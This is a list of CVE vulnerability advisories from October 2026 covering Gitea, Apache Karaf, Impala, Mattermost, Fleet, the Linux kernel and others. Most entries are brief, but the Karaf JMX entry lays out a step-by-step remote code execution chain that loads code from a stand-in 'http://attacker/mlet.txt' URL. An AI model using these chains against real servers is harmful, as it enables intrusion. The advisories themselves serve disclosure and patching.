| CVE-2026-98164 | In the Linux kernel, the following vulnerability has been resolved: KVM: x86/mmu: Check write tracking in all address spaces kvm_gfn_is_write_tracked() checks only the supplied memslot, but page tracking is per-address-space and shadow pages are shared across all address spaces. With SMM, a GFN can therefore be write-tracked in one address space and appear untracked through the other. Check the supplied slot first, then the slot for the other address space. This ensures all callers honor write tracking regardless of the active address space. In particular, it prevents mmu_try_to_unsync_pages() from marking an upper-level shadow page unsync and eventually triggering the BUG in pte_list_remove(). [invert direction of the conditional. - Paolo] | medium | 2026-10-07 |
| CVE-2026-98163 | In the Linux kernel, the following vulnerability has been resolved: cgroup: Avoid iteration of dying tasks with zero refcount The commit 260fbcb92bbea ("cgroup: Move dying_tasks cleanup from cgroup_task_release() to cgroup_task_free()") extended the lifetime of tasks on the dying_tasks list. The iterators have provision to go through dying_tasks because of dying threadgroup leaders or explicit CSS_TASK_ITER_WITH_DEAD, however, it was expected that such tasks can obtain a new reference (that is possible before cgroup_task_release()/put_task_struct_rcu_user()). The tasks after cgroup_task_release() and before cgroup_task_free() are subject to race when they may or may not have ->usage count > 0. The race window is between css_task_iter_next() invocations when css_set_lock is released and we may arrive at a new ->task_pos. The iterator should not attempt to resurrect tasks whose ->usage count dropped to zero. (When that happens, __put_task_struct_rcu_cb() is already imminent and the returned task_struct would could be used after free.) As for the fix, we cannot simply check the signal->live count of a task on the dying list because that won't distinguish regular zombies waiting to be reaped from RCU remnant tasks that are going to be free'd. Therefore add an extra check to rule out ->usage==0 tasks from any iteration. The repeat: loop in css_task_iter_advance() doesn't consider ->usage count, so add a new loop to css_task_iter_next() to skip de-used tasks on the dying_list. Rough illustration of the possible race R (reader of cgroup.procs) T (thread) L (group leader) --------------------------------- -------------------------------- -------------------------------- L exits, signal->live > 0 cgroup_task_dead(L) css_set_skip_task_iters() // skips only cset->tasks list_add_tail(&L->cg_list, &cset->dying_tasks) css_task_iter_next() take css_set_lock css_task_iter_advance() leader && signal->live != 0 => it->task_pos = &L->cg_list release css_set_lock T exits --signal->live == 0 cgroup_task_dead(T) // css_set_lock release_task(T) cgroup_task_release(T) release_task(L) // zap_leader cgroup_task_release(L) put_task_struct_rcu_user(L) ...RCU... put_task_struct(L) L->usage = 0 /* L still on dying_tasks */ ...RCU... __put_task_struct(L) css_task_iter_next() // another iteration take css_set_lock it->task_pos = &L->cg_list get_task_struct(L) => addition on 0 drop css_set_lock cgroup_task_free(L) css_set_skip_task_iters() // dying skip comes too late free_task(L) cgroup_procs_show() task_pid_vnr(L) | high | 2026-10-07 |
| CVE-2026-97720 | Incorrect implementation of JWT/OAuth authentication in Impala executors in Apache Impala versions up to and including 4.5.2 which allows attacked to access resources served by the executor's webserver when that webserver is configured to accept JWT/OAuth tokens. Bearer token (JWT) signatures are not validated resulting in the webserver accepting any valid JWT. Users are recommended to either disable JWT/OAuth auth for Impala executors or upgrade to version 4.5.3, which fixes this issue. | critical | 2026-10-07 |
| CVE-2026-97664 | Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority. | No Score | 2026-10-07 |
| CVE-2026-97626 | Requesting a user or organization profile page (`GET /{username}`) with an `Accept: application/rss+xml` or `Accept: application/atom+xml` header returned the owner's activity feed without the visibility check that the profile page and the `.rss` and `.atom` routes apply. Anonymous users, restricted users and non-members could confirm the existence of limited or private users and private organizations and read their profile details and public activity, also when `[other] ENABLE_FEED` was disabled. Activity in private repositories was not included. | medium | 2026-10-07 |
| CVE-2026-97354 | The PowerPress Podcasting plugin by Blubrry WordPress plugin before 11.17.11 does not validate the destination of redirects when fetching a user-supplied media URL, allowing users with the contributor role and above to perform Server-Side Request Forgery attacks against internal services. | medium | 2026-10-07 |
| CVE-2026-97331 | The User Private Files WordPress plugin before 2.1.9 does not validate that a supplied user belongs to the document being operated on before returning that user's email address, allowing any authenticated user, such as a Subscriber, to obtain the email address of any registered account, including administrators. | medium | 2026-10-07 |
| CVE-2026-97294 | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in David Lingren Media LIbrary Assistant media-library-assistant allows Stored XSS.This issue affects Media LIbrary Assistant: from n/a through 3.41. | medium | 2026-10-07 |
| CVE-2026-97208 | The Gitea API endpoint for creating push mirrors (`POST /api/v1/repos/{owner}/{repo}/push_mirrors`) checked only whether mirroring was enabled and not the `[mirror] DISABLE_NEW_PUSH` setting that the web interface enforces. A repository administrator could therefore create new push mirrors on instances where the site administrator had disabled them. A push mirror pushes all refs of the repository to a remote chosen by the caller, on each commit or on a schedule. | medium | 2026-10-07 |
| CVE-2026-97188 | The String locator WordPress plugin before 2.6.8 does not restrict the classes allowed when deserializing the content of a database row saved through its database editor, allowing unauthenticated attackers to store a serialized PHP object that is instantiated when an administrator later opens and saves that row. If a suitable POP chain is present via another installed String locator WordPress plugin before 2.6.8 or , this can lead to arbitrary file deletion, sensitive data disclosure or remote code execution. | high | 2026-10-07 |
| CVE-2026-97146 | Apache YuniKorn 1.9.0 and earlier allows bypassing the check for the user annotation by setting a secondary label on the pod. If the pod has the label 'app=yunikorn' the checks limiting the user annotation content are not run. The label is used to identify the YuniKorn application itself in the deployments. The bypass allows any user to specify an arbitrary user info annotation. The arbitrary user information could allow access to a queue that the user normally would not have access to. Quota usage for the queue might be impacted if the application runs in the incorrect queue. User based quota enforcement is also based on the user annotation. User quota tracking could be side stepped even if the application runs in the correct queue. Users are recommended to upgrade to version 1.10.0, which fixes this issue. | medium | 2026-10-07 |
| CVE-2026-96659 | A flaw was found in Foreman. This vulnerability allows an authenticated user with low-level Viewer permissions to cause unauthorized information disclosure by submitting requests to template preview endpoints. By exploiting this issue, the user can access sensitive data, such as host root passwords. Furthermore, under insecure system configurations where Safemode protections are disabled, the flaw may allow the user to execute arbitrary commands as the Foreman system account. | critical | 2026-10-07 |
| CVE-2026-96658 | A flaw was found in Foreman. An authenticated attacker with low-level permissions can achieve remote code execution (RCE) by bypassing the safemode sandbox within the templating engine. Due to improper handling of delegated methods, an attacker can append unauthorized functions to the allowed execution list, enabling them to run arbitrary commands on the hosting server. | critical | 2026-10-07 |
| CVE-2026-96594 | The Gitea API endpoint `GET /api/v1/repos/{owner}/{repo}/media/{filepath}` wrote files of up to 1 KiB that are stored directly in Git, not in LFS, to the response without the content type and disposition headers Gitea uses for user content. An HTML file committed to a repository was therefore rendered by the browser on the Gitea origin. A user who can push to a repository could run JavaScript in the session of a victim who opens the media URL and act with the victim's permissions. | medium | 2026-10-07 |
| CVE-2026-96589 | When a private repository is transferred to a user who lacks access, Gitea grants that recipient temporary read access as a collaborator so they can review the repository. Rejecting or cancelling the transfer did not revoke this collaboration, so the named recipient kept persistent read access to the private repository, including its code, issues, pull requests and wiki, and could clone it. The repository owner was not notified. Transfer-granted access is now removed while collaborations that existed before the transfer are preserved. | medium | 2026-10-07 |
| CVE-2026-96580 | Gitea expanded a workflow's static `strategy.matrix` into its full Cartesian product without a size limit when creating a run, before the fork pull request approval gate applied. A user who can open a pull request from a fork could submit a small workflow file whose matrix expands to a very large number of jobs, consuming server memory and potentially terminating the Gitea process. No runner is required. Static matrices above 256 combinations are now rejected before expansion. | high | 2026-10-07 |
| CVE-2026-96577 | A flaw was found in oc-mirror. During mirroring operations, the embedded local cache registry binds to all network interfaces without authentication or encryption instead of restricting access to the local system. An unauthenticated attacker on an adjacent network can connect to the exposed service to push tampered container images, delete cached images, or access mirrored content. | high | 2026-10-07 |
| CVE-2026-96530 | The Optimole WordPress plugin before 4.2.15 does not perform a capability check before exposing its stored image-optimization account data in a dashboard widget, allowing any authenticated user, including Subscribers, to read the site's third-party service credentials. | medium | 2026-10-07 |
| CVE-2026-96408 | A code injection vulnerability exists in the upgrade script of Movable Type, which may allow an unauthenticated attacker to execute an arbitrary Perl script or an SQL query on the affected product. | critical | 2026-10-07 |
| CVE-2026-96404 | When Gitea's web installer is reachable against a database that already contains users, such as after `INSTALL_LOCK` has been reset to `false`, submitting the install form with an administrator username matching an existing account issued an authenticated session for that account without verifying its password. If the account is an administrator, the session grants full administrative access, including changing the account's password. Databases with a single user also did not require the reinstall confirmation. | high | 2026-10-07 |
| CVE-2026-96400 | With `[migrations] ALLOWED_DOMAINS` set to a matching entry such as `*` or a hostname wildcard, Gitea's migration URL validation could permit reserved and link-local addresses, such as `169.254.169.254`, even when `ALLOW_LOCALNETWORKS = false`. The local-network block list did not cover these ranges, and a hostname matching the allow list was accepted regardless of its resolved address. A user who can start migrations on such an instance could reach these addresses from the Gitea server; the default empty `ALLOWED_DOMAINS` configuration is not affected. | medium | 2026-10-07 |
| CVE-2026-96399 | A repository's external issue tracker regular expression containing alternating capture groups could produce invalid slice indexes when Gitea rendered issue references, causing a runtime panic that terminated the Gitea process. A user who can edit a repository's external issue tracker settings could make any later rendering of matching content, such as viewing a README, crash the instance for all users. | high | 2026-10-07 |
| CVE-2026-96260 | Mattermost versions 11.9.x <= 11.9.1, 11.8.x <= 11.8.5, 11.7.x <= 11.7.10, 11.10.x <= 11.10.1 fail to enforce a request body size limit during CSRF validation of plugin requests which allows an authenticated user to exhaust server memory and cause a denial of service via a large request body sent to a plugin endpoint.. Mattermost Advisory ID: MMSA-2026-00775 | medium | 2026-10-07 |
| CVE-2026-96259 | Mattermost versions 11.9.x <= 11.9.1, 11.8.x <= 11.8.5, 11.7.x <= 11.7.10, 11.10.x <= 11.10.1 fail to apply the internal-connection filter to OAuth endpoint requests, which allows a System Administrator to make the server issue requests to internal network addresses and read the responses via the configured OAuth token and userinfo endpoints.. Mattermost Advisory ID: MMSA-2026-00776 | medium | 2026-10-07 |
| CVE-2026-95676 | A missing/improper authentication vulnerability in the WatchGuard AuthPoint Gateway's LDAP Sync first-factor authentication allows a remote attacker to bypass single-factor password verification under non-default operating conditions. Additional authentication factors still apply. | high | 2026-10-07 |
| CVE-2026-95666 | Mattermost versions 11.9.x <= 11.9.1, 11.8.x <= 11.8.5, 11.7.x <= 11.7.10, 11.10.x <= 11.10.1 fail to limit the length of the post ID array accepted by the bulk reactions endpoint which allows an authenticated user to cause excessive database load via a crafted request to {{POST /api/v4/posts/ids/reactions}}.. Mattermost Advisory ID: MMSA-2026-00771 | medium | 2026-10-07 |
| CVE-2026-95106 | Gitea accepted pushed Git trees containing two entries with the same name, which Git's own consistency checks reject. Gitea's web views resolved such a path to the first entry, while `git checkout`, Gitea Actions, and release archives use the last. A contributor could open a pull request whose diff and file views show benign content while CI and checkouts at the same commit use different, attacker-controlled content. Incoming objects are now checked for consistency; objects already stored in existing repositories are not rescanned. | critical | 2026-10-07 |
| CVE-2026-94651 | improper handling of exceptional conditions, Missing release of resource after effective lifetime vulnerability in Apache Thrift java bindings. This issue affects Apache Thrift: before 0.25.0. Users are recommended to upgrade to version 0.25.0, which fixes the issue. | high | 2026-10-07 |
| CVE-2026-94205 | Gitea Actions decided whether a fork pull request run needed approval based on the user who triggered the event rather than the pull request author. For `pull_request` activity triggered by a maintainer during ordinary triage, such as adding a label, the run was created without requiring approval, while the workflow definition was still taken from the fork head. Where Actions is enabled and a matching runner is registered, fork-controlled workflow code could run on the base repository's runners without an explicit approval. | critical | 2026-10-07 |
| CVE-2026-93684 | An SQL user using Impala up to and including version 4.5.2 with only SELECT permission can put JavaScript in a table alias and make it run in another user's browser when that user opens the query plan in Impala's Web UI. This is stored XSS (CWE-79). Users are recommended to upgrade to version 4.5.3. | medium | 2026-10-07 |
| CVE-2026-93540 | A privilege mismatch was found in Fleet. When a bundle requested namespace labels or annotations through the namespaceLabels and namespaceAnnotations options, the resulting namespace metadata update was not subject to the same authorization as the rest of the bundle's deployment. As a result, a bundle could change labels and annotations on a target namespace even when the identity it was pinned to was not authorized to modify that namespace. This affected SUSE Rancher Fleet 0.16 before 0.16.2, 0.15 before 0.15.7, 0.14 before 0.14.11, 0.13 before 0.13.16 and potentially older versions. | medium | 2026-10-07 |
| CVE-2026-93539 | A vulnerability was discovered in Fleet's Git webhook receiver (the gitjob webhook service). When a webhook secret is not configured, incoming webhook requests are accepted without verification, and processing a request can change the spec.pollingInterval field of a matching GitRepo resource in any namespace. A caller with network access to the webhook service and no Kubernetes credentials can therefore alter GitRepo configuration outside the namespaces they are authorized for. This only affects SUSE Rancher Fleet 0.16 before 0.16.2, older versions are not affected. | medium | 2026-10-07 |
| CVE-2026-93538 | A cross-tenant authorization issue was discovered in SUSE Rancher Fleet. During agent-initiated cluster registration, cluster labels supplied by the registering agent, including labels in the reserved management.cattle.io/ namespace such as the cluster display name label, were applied to the resulting upstream Cluster object. Because Fleet resolves GitRepo and Bundle targets from those cluster labels, a party able to register a cluster into a Fleet workspace namespace shared with other tenants could cause its own cluster to satisfy targeting rules that administrators intended for a different cluster. This affects SUSE Rancher Fleet 0.16 before 0.16.1, 0.15 before 0.15.6, 0.14 before 0.14.10, 0.13 before 0.13.15, 0.12 before 0.12.19 and older versions. | high | 2026-10-07 |
| CVE-2026-93537 | A user who can supply bundle content to a repository referenced by a GitRepo resource, for example through Git push access, or through permission to create or modify a GitRepo, can cause SUSE Rancher Fleet to read files from the filesystem of the environment that processes the bundle and include their contents in the generated Bundle resource. This can expose configuration or credential material that the user has no Kubernetes RBAC permission to read, including Helm registry credentials made available to the bundle-processing job when per-path Helm credentials are configured. This affects Fleet 0.16 before 0.16.2, 0.15 before 0.15.7, 0.14 before 0.14.11, 0.13 before 0.13.16, 0.12 before 0.12.20 and potentially older unsupported versions. | medium | 2026-10-07 |
| CVE-2026-93026 | This vulnerability in Veeam Backup & Replication allows a Backup Viewer to modify the Enterprise Manager master key and stored antivirus update credentials. | medium | 2026-10-07 |
| CVE-2026-92533 | Path traversal vulnerability in the BugTracker.NET file download component. The parameter used to specify the file name does not properly validate user-supplied paths. An authenticated remote attacker could enter a manipulated path to access files located outside the intended directory. Successful exploitation could allow the attacker to read system files accessible to the account used by the application. | high | 2026-10-07 |
| CVE-2026-92532 | Unrestricted file upload vulnerability in the BugTracker.NET attachment functionality. An authenticated user with administrator privileges could modify the application configuration to store files in a directory accessible via the web interface. Due to the lack of proper file extension validation, an attacker could upload a malicious ASPX file and subsequently execute it on the server. A successful exploit could allow arbitrary code execution with the privileges of the account used by the web service. | high | 2026-10-07 |
| CVE-2026-92531 | Operating system command injection vulnerability in the SVN integration component of BugTracker.NET. The application incorporates the value of the field corresponding to the repository into an svn.exe command without properly validating it. An authenticated user with administrator privileges could store manipulated arguments in the database and subsequently cause them to be processed by the revision comparison functionality. A successful exploit could allow the execution of arbitrary commands with the privileges of the account used by the application. To exploit this vulnerability, svn.exe must be installed and capable of being invoked by the service. | high | 2026-10-07 |
| CVE-2026-92393 | Apache YuniKorn 1.9.0 and earlier does not implement label and user annotation checks for workload UPDATE action bypassing all checks. Workloads in YuniKorn are defined as the following Kubernetes objects: "deployments", "replicasets", "statefulsets", "daemonsets", "jobs", "cronjobs". The CREATE action correctly enforces the checks for all object types. The bypass allows any user to specify an arbitrary user info annotation. The same bypass also allows changing the application ID for the workload. The combination of the two applied in one UPDATE could allow access to a queue that the user normally would not have access to. Quota usage for the queue might be impacted if the application runs in the incorrect queue. User based quota enforcement is also based on the user annotation. User quota tracking could be side stepped even if the application runs in the correct queue. Users are recommended to upgrade to version 1.10.0, which fixes this issue. | low | 2026-10-07 |
| CVE-2026-9226 | Authentication bypass in the Azure AD external login flow in Devolutions Server 2026.3.7.0 and earlier allows a remote attacker to take over a user's account via replay of a captured login-session token exposed in a redirect URL. | medium | 2026-10-07 |
| CVE-2026-92142 | Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded: private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes")); The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg. As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches). This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM: * Authenticate to JMX as any user with any role (e.g. "viewer"). * mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered. * mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted. * The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM. * mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail. The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.: createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels. | high | 2026-10-07 |
| CVE-2026-91181 | Mattermost versions 11.9.x <= 11.9.0, 11.8.x <= 11.8.4, 11.7.x <= 11.7.7, 10.11.x <= 10.11.22 Fail to sanitize Team objects returned by the data retention teams endpoint which allows an authenticated user holding only the read-only Data Retention Policy permission to obtain a private team's secret invite_id and email, and use it to join the team without authorization, via GET /api/v4/data_retention/policies/{policy_id}/teams.. Mattermost Advisory ID: MMSA-2026-00702 | medium | 2026-10-07 |
| CVE-2026-91140 | An OS command injection vulnerability in the shell-based temporary-file cleanup instructions in Progress Software Autonomous REST Connector GenAI Agents ARCGenAI-Generator version 2.0 allows an attacker who supplies a crafted Swagger/OpenAPI document to execute arbitrary commands on a developer's machine when a user invokes the generator. | critical | 2026-10-07 |
| CVE-2026-91085 | Apache Karaf's shell/SSH command security is enforced by per-scope ACL configuration files (etc/org.apache.karaf.command.acl.<scope>.cfg). SecuredSessionFactoryImpl.checkSecurity() resolves the roles required for an invocation and, when no ACL rule matches the command, fails open: ACLConfigurationParser.Specificity.NO_MATCH sets passCheck = true. The safety valve for this, karaf.secured.command.compulsory.roles, ships commented out in etc/system.properties, so an unmatched command is allowed for any authenticated user. The shipped org.apache.karaf.command.acl.config ACL (assemblies/features/standard/src/main/feature/feature.xml, mirrored into instance/.../etc/org.apache.karaf.command.acl.config.cfg) has no install entry. It restricts delete to admin, restricts edit/property-*/update on the jmx.acl.*, org.apache.karaf.command.acl.* and org.apache.karaf.service.acl.* PIDs to admin, and allows manager for everything else, but config:install was simply unmatched, and therefore allowed for any authenticated user, including one holding only the viewer role. config:install <url> <finalname> fetches url and writes it into ${karaf.etc} as finalname. It calls PathUtils.checkWithin() to block .. traversal outside karaf.etc, but that folder holds every security-relevant file Karaf ships: users.properties, keys.properties, host.key, and all org.apache.karaf.*.acl.* files, including the very ACL file that (mis)governs this command. With -o/--override, an existing file is overwritten with attacker-controlled bytes fetched from an arbitrary URL. Because felix.fileinstall.dir = ${karaf.etc} (etc/config.properties), Felix FileInstall also watches and reloads any .cfg file dropped there, closing the loop without requiring a restart. By contrast, bundle:install, feature:install and kar:install are all admin-only in their own ACLs, and config:delete is admin in this same ACL, config:install was the outlier. MitigationAdd install = admin in etc/org.apache.karaf.command.acl.config.cfg (create the file is absent), and/or set karaf.secured.command.compulsory.roles=admin in etc/system.properties (and restart) to make unmatched commands fail closed by default. | medium | 2026-10-07 |
| CVE-2026-91048 | The jdbc shell command scope shipped no org.apache.karaf.command.acl.jdbc.cfg. Karaf's command guard (SecuredSessionFactoryImpl) treats a command with no matching ACL rule as allowed, so any authenticated shell session (including one holding only the viewer role) could run every jdbc:* command. jdbc:ds-create stores a fully attacker-controlled JDBC URL into a pax-jdbc-config factory Configuration with no validation. pax-jdbc-config reactively turns that into a live DataSource. Several JDBC drivers run code or SQL at connection time based on URL parameters (e.g. H2 INIT=RUNSCRIPT), so a viewer-level shell user could reach arbitrary code execution, bypassing the admin-role gate that already protects shell:exec. This is a privilege-escalation-to-RCE chain, not merely an "admin misconfiguration". The same applies to jms:* shell commands. | critical | 2026-10-07 |
| CVE-2026-91012 | org.apache.karaf.config.core.impl.ConfigRepositoryImpl#update(pid, properties), which backs the "config" MBean and the config:* shell commands, derives the file it writes a configuration to from caller-supplied input without checking that the result stays inside ${karaf.etc}: * if the submitted property map contains a felix.fileinstall.filename entry, that value is turned directly into a File (getCfgFileFromProperty), so it can point to any absolute path the Karaf process can write to; * otherwise the configuration PID is concatenated verbatim into the target file name (generateConfigFilename(): new File(karaf.etc, pid + ".cfg")), so a PID containing ".." segments resolves outside ${karaf.etc}. createFactoryConfiguration() has the same issue via the factory PID/alias. Both code paths are reachable by any caller holding the "manager" role under Karaf's shipped command/JMX ACL (org.apache.karaf.command.acl.conf.cfg: "update = manager"). Such a user can therefore write attacker-controlled content to any file the Karaf process can write, including files the same ACL otherwise reserves to "admin" (etc/users.properties, etc/*.acl.*.cfg, etc/org.apache.karaf.management.cfg, and similar), allowing a manager-role user to grant themselves the admin role or otherwise take over the container. ConfigMBeanImpl.install() and the config:install shell command already guarded the equivalent risk on their own code path with a finalname.contains("..") string check, but that check does not stop absolute paths or symlink-based escapes, and it was never applied to ConfigRepositoryImpl.update() / createFactoryConfiguration() at all. | critical | 2026-10-07 |
| CVE-2026-90996 | A flaw was found in sssd. A local unprivileged user could send a specially crafted request with a zero-length body to the Network Security Services (NSS) responder. This could lead to a denial-of-service condition, causing the NSS responder to become unstable or terminate. This vulnerability affects the availability of the system responder. | medium | 2026-10-07 |
| CVE-2026-9082 | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Drupal Drupal core allows SQL Injection. This issue affects Drupal core: from 8.9.0 before 10.4.10, from 10.5.0 before 10.5.10, from 10.6.0 before 10.6.9, from 11.0.0 before 11.1.10, from 11.2.0 before 11.2.12, from 11.3.0 before 11.3.10. | critical | 2026-10-07 |
| CVE-2026-90466 | Path traversal of 'trusted_jar_paths' in Impala 4.5.2 allows an attacker-controlled JAR to be loaded via a relative path where the prefix matches a path specified in 'trusted_jar_paths'. The startup flag 'trusted_jar_paths' references URIs for loading files from local or remote filesystems. Path traversal can't override the schema, but can result in loading a JAR that has been uploaded to a different location in that filesystem via Impala DDLs such as CREATE DATA SOURCE and CREATE TABLE. Path traversal can only be used if a trusted path exists, so this attack requires 'trusted_jar_paths' have a non-empty value configured by the Impala admin. Users are recommended to upgrade to version 4.5.3, which fixes this issue. | medium | 2026-10-07 |
| CVE-2026-90462 | A flaw was found in SSSD. When configured with the LDAP access provider and `ldap_access_order` including `ppolicy` or `lockout`, a fail-open condition in the LDAP ppolicy access check can occur if a user lookup returns zero results. This can incorrectly return success and cache an allow decision, permitting continued authorization for a deleted or deprovisioned user. A remote attacker with prior valid account context could exploit this to maintain access to information and potentially make limited modifications to resources that should no longer be available. | medium | 2026-10-07 |
